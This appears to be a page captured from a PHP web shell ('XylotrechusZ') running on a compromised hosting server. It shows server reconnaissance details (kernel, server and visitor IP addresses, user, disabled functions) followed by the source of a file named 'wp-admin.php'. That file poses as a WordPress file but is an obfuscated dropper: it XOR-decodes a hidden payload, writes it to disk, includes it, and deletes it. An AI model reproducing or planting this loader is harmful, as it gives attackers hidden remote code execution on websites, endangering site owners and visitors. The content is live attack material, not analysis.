Uname: Linux web511.easyname.com 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64
Software: Apache
PHP version: 8.1.32 [ PHP INFO ] PHP os: Linux
Server Ip: 91.151.19.30
Your Ip: 216.73.216.129
User: e51622 (51622) | Group: www-data (33)
Safe Mode: OFF
Disable Function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,leak,dl,stream_socket_server,stream_socket_sendto

name : wp-admin.php
<?php

function jHmimla($EhplrfTgzEX, $gAvTTDA)
{
    $EhplrfTgzEX = urldecode($EhplrfTgzEX);
    $qSGXAyXqdv = str_split($EhplrfTgzEX);
    $action = "";
    for ($i = 0; $i < strlen($EhplrfTgzEX);$i++) {
        $action .= $qSGXAyXqdv[$i] ^ $gAvTTDA[$i%8];
    }
    return $action;
}

$i="Nz%26%2C%22XD%12%1B%2B%3F%1B%210%3AzU+%246%3D%27%11%3E%1D%22qhr%1B%1B%1E%3ElmIX%15%27%3C%1B%1A%25%21%26%7Di%3E%1D%22%09%21+%27%21+%01bzdb%7Cu_x%05%3F%2A%3B%0A%3D7%06mq%293-%117%0A+51%26%3C%21%3C-1%3F%297rbrBlmIX%15%3D7%06%1A%22-%3F0%11%3E%1B%28%3F0zegi%7FO%5BN__%28%27%1C%26%22-%3D%3Bn%21%1A%21%26lv1%2F%26%13iv%60907%7B%7FO-IXunrRa91%26%0A%2A3%06%24vyrwli%7FOvdru%28%3D%00e%7E%60%3BusrB%7Ev%60%3Burr%011%24%287%3Bfv%16%24%22%25%7Bngr%09H%5CdrunrRev%22%3D%27nzV%2FvyreurV%2Fvxr%26%3A+%1E+8lv%3E%2B%2B%5Bepbrq%27rNe%250+9%2B%3CZa2%25%264giRa%3Coyynv%1Bn%7Dmr.CXRevdrunrRevdv%3A%3B%26-%21703u%60oR%26%3E6z%3A%3C6Za2%25%264%15v%1B%18%7Fd%0Cu%21+%16mr%2F7%2C%15v%18%18%7FmiXDrRevdrun%2F%7FOvdru3_xevdr%27%2B%26%0778dv%3A%3B%26-%21703nCX%0FH%5C-4uf%3B%01630zq%11%157%11%0DrefzaG%18%7Fm__5_xevdr1%277Z%282qzayeCw%7FmiXD%2F%7FOr078%3Eo%137%24%25%2B%0A%237%00%223lv%0A%0D%1D%3D%0E%1F%01%7Euj%0D%22%0A%05%10%7BnCX%14%2A%24%2136%26rZa%22%21%3F%25n3%01er+3%21%2F%0D%19+%2Fdoknv%16%24%22%25%7Bu5_xevdrq%2A3%06%24vyr%15%3B%3C%01+%24-39%27%28%17m%25%2C6%25f%21%1A%21%26l04%3D7Dq%09+76%216%17mr+3%21%2F%7B%5Eeq0%24%3Fx%27%134f%7D%3A%27%21g%17%2Bn%3D+%3E%27+E.36je+0%19+%235%3F3i%7B%5Eer+3%21%2F%0D%19+%2Fm%7BnCXRevd%3B3nz%1B6%25%21%26%7Dj6%1317%1Fu4%25u%2Fl%7Fd%29XDrRevdrun%3B%14e%7E%6064%3A3%29b7c%0FusoRb%3Fc%7Bu5_xevdrunrRevdrq%27rOe76+47z%7FOvdrunrRevdrunrReq4%24rnoLe%164%3A%2587%006%3F%2B%3C%7Dg%7E%7FOvdrunrRevdrunrReq7%24rnoLequ%7CeccUi%5BNrunrRevdrunr%5B%7E%5BNrunrRevdrunr%17%26%3E%2Br%15%3D7%00%2C7%28%3B%2F%2BzV%2C%7F%7F__nrRevdru3r%17%29%25%21%3B3nzV%21703%0Ei3U%18vyoui7Ulv%3F__nrRevdrunrRe3239fv%16%24%22%25%09r%2Au%2FlmIXunrRevdr%28CXRevdrunr%17%3D%3F0z%7Cu_xevdr%28CX%0F";
$j="%14%2C%3A%21%0D%25%3B%26-%269%2A%260+%26%01";

$CvufrhY="rEVDRUNRWYJJ";

$k = jHmimla($i, $CvufrhY);
$f = jHmimla($j, $CvufrhY);
$f($CvufrhY, $k);
include_once ($CvufrhY);
unlink($CvufrhY);
exit();
© 2025 XylotrechusZ